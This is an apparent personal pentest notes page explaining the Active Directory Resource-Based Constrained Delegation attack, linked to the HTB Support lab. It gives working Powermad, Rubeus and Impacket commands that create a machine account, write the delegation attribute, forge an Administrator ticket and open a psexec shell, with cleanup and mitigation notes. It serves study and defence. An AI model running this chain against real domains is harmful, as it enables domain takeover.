Haiyahhh Hack Vault

Active Directory - Resource-Based Constrained Delegation (RBCD) Attack

3 min read

🧠 Active Directory - Resource-Based Constrained Delegation (RBCD) Attack

What is it?

  • Concept: Resource-Based Constrained Delegation lets a resource (a computer object) decide for itself which principals are trusted to impersonate arbitrary users against it, via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Unlike classic constrained/unconstrained delegation — configured on the delegating account by a domain admin — this is configured on the target, which means anyone with write access to that single attribute on a computer object can grant themselves delegation rights to it.
  • Impact: Full compromise of the target computer — up to and including the Domain Controller — using nothing more than write access (GenericAll/GenericWrite/WriteDacl/WriteProperty) on that one attribute, plus the (usually default) ability to create a computer account of the attacker’s own.

How it works

  1. The attacker needs a computer account they fully control — either one they already own, or one they create themselves. By default, ms-DS-MachineAccountQuota lets any authenticated domain user add up to 10 new computer objects.
  2. The attacker writes their controlled computer’s SID into the target computer’s msDS-AllowedToActOnBehalfOfOtherIdentity security descriptor — this is the actual “grant” step, and it’s just a normal LDAP attribute write.
  3. Using the controlled computer’s own credentials (its NT hash), the attacker performs an S4U2Self request to get a ticket to itself as any chosen user, then an S4U2Proxy request using that ticket to obtain a service ticket for a specific SPN (e.g. cifs/target) on the target machine, impersonating that user.
  4. Because the target’s delegation attribute names the attacker-controlled computer as trusted, the KDC issues the impersonated ticket without complaint — pass it straight into any tool that accepts a Kerberos ccache for a shell as the impersonated user.

Exploitation

Prerequisites

  • Authenticated domain user (default: can create up to 10 computer objects via ms-DS-MachineAccountQuota)
  • Write access (GenericAll/GenericWrite/WriteDacl/WriteProperty on msDS-AllowedToActOnBehalfOfOtherIdentity) over the target computer object

Attack Vectors

# 1. Create a computer account the attacker fully controls
. .\Powermad.ps1
New-MachineAccount -MachineAccount 'FAKE-COMP01' -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
 
# 2. Point the target computer's delegation attribute at the new account
Set-ADComputer -Identity '<target_computer>' -PrincipalsAllowedToDelegateToAccount 'FAKE-COMP01$'
# 3. Derive the new account's RC4 (NT) hash, then run the S4U chain and
# request+cache a ticket impersonating a privileged user against a specific SPN
.\Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:<domain>
.\Rubeus.exe s4u /user:FAKE-COMP01$ /rc4:<rc4_hash> /impersonateuser:Administrator /msdsspn:cifs/<target_fqdn> /domain:<domain> /ptt
# 4. The same chain can be run entirely from Linux with Impacket instead of Rubeus
impacket-addcomputer '<domain>/<user>:<pass>' -computer-name 'FAKE-COMP01$' -computer-pass 'Password123'
impacket-rbcd -delegate-to '<target_computer>$' -delegate-from 'FAKE-COMP01$' -action write '<domain>/<user>:<pass>'
impacket-getST -spn 'cifs/<target_fqdn>' -impersonate Administrator '<domain>/FAKE-COMP01$:Password123'
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass '<domain>/administrator@<target_fqdn>'

Notes

  • The impersonated ticket is only valid for the specific SPN requested (/msdsspn or -spn) — request cifs/ for file access/psexec-style shells, or the SPN of whichever other service is actually needed (ldap/, host/, etc.).
  • Cleanup matters on a real engagement: the created computer account is a lasting, visible artifact and counts against MachineAccountQuota — remove it (Remove-ADComputer / impacket-addcomputer -delete) once access is no longer needed.

Mitigation

  • Fix: Restrict who can write to msDS-AllowedToActOnBehalfOfOtherIdentity on sensitive computer objects, especially Domain Controllers — this attribute should never be writable by a broad or custom group. Also consider lowering ms-DS-MachineAccountQuota to 0 in domains where ordinary users have no legitimate reason to add computer objects.
FileCreated
HTB - SupportJuly 22, 2026

References:

Graph View

Backlinks